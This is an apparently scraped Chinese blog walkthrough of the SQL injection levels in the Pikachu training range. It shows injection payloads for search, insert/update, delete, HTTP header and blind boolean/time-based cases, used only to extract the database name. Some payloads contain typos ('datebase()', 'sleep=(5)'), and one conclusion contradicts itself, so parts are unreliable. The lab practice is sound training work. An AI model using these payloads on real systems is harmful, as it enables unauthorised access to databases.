zoukankan      html  css  js  c++  java
  • pikachu靶场之SQL注入

    0x00 前言

    手工注入忘的差不多了。。。还是需要多多练习
    以下关卡都是稍微测以下存不存在sql注入,查下数据库名啥的
    没有将所有字段都爆出来。
    冲鸭~

    0x01 数字型注入(post)

    因为是数字型,直接在后面加上真命题,不需要加单引号测试
    在这里插入图片描述

    0x02 字符型注入(get)

    加单引号报错,说明存在sql注入
    在这里插入图片描述
    再加上真命题查询到all
    在这里插入图片描述

    0x03 搜索型注入

    加单引号,sql语句报错
    Payload:

    li’ or 1=1 --+
    

    加上真命题回显all
    在这里插入图片描述
    Payload:

    li' and length(database())=7 --+
    

    测得数据库长度为7时正常回显
    说明数据库长度为7
    在这里插入图片描述
    测数据库名

    and ascii(substr(database(),x,1))=n
    

    X:库名第几位(1-7)
    N:该位对应的ascii码值
    对n进行爆破(65-122)
    在这里插入图片描述
    最后得到数据库名:pikachu

    0x04 xx型注入

    加单引号

    0x05 insert/update注入

    1.insert注入
    测试模块:注册处
    令用户名为quan’
    在这里插入图片描述
    Payload:

    quan' or updatexml(1,concat(0x7e,database()),0) or'
    

    在这里插入图片描述
    2.Update注入
    先登录进去,然后在修改资料处填写信息抓包
    Payload:

    quan' or updatexml(1,concat(0x7e,database()),0) or'
    

    在这里插入图片描述

    0x06 delete注入

    先留言,点击删除时抓包
    在这里插入图片描述
    Payload:

    62 or updatexml (1,concat(0x7e,datebase()),0)
    

    在bp中Ctrl+U 对payload进行url编码
    在这里插入图片描述

    0x07 http header注入

    1.UA头
    在这里插入图片描述
    Payload:

    1' or updatexml (1,concat(0x7e,datebase()),0) or '
    

    在这里插入图片描述
    2.COOKIE
    cookie中的admin也是一个注入点
    在这里插入图片描述

    0x08 盲注(base on boolian)

    只有加and 1=1#才能返回个人信息,or 1=1#都报错:您输入的username不存在,请重新输入!
    在这里插入图片描述
    利用and 1=1构造payload
    Payload:

    kobe' and ascii(substr(database(),1,1))=112#
    

    在这里插入图片描述

    0x09 盲注(base on time)

    payload:

    kobe’ and sleep(5)#
    

    在这里插入图片描述
    可以看到时间线是5s,说明存在基于时间的盲注
    在这里插入图片描述
    Payload:

    kobe' and if ((substr(database(),1,1))='a',sleep=(5),null)#
    

    此时1ms就返回结果,说明数据库名第一位不是a
    将a改为p,则一直不返回结果
    说明数据库名第一位不是a

    0x10 宽字节注入

    emmmm还没写出来,下次吧
    先下班了,肥宅大哭?

    你是这白开水一样淡的日子里偷偷加的一颗糖~~
  • 相关阅读:
    【转】IOC和工厂模式联合使用简化工厂模式
    2014年12月24日
    【转】使用java程序模拟页面发送http的post请求
    2014年12月5日
    JAVA的double值去掉"E"
    多表联接查询解析
    Struts从后台向前台传递数据
    prepareCall()执行存储过程
    PreparedStatement
    C++ 中的new和delete理解与实操应用
  • 原文地址:https://www.cnblogs.com/0nc3/p/12063437.html
Copyright © 2011-2022 走看看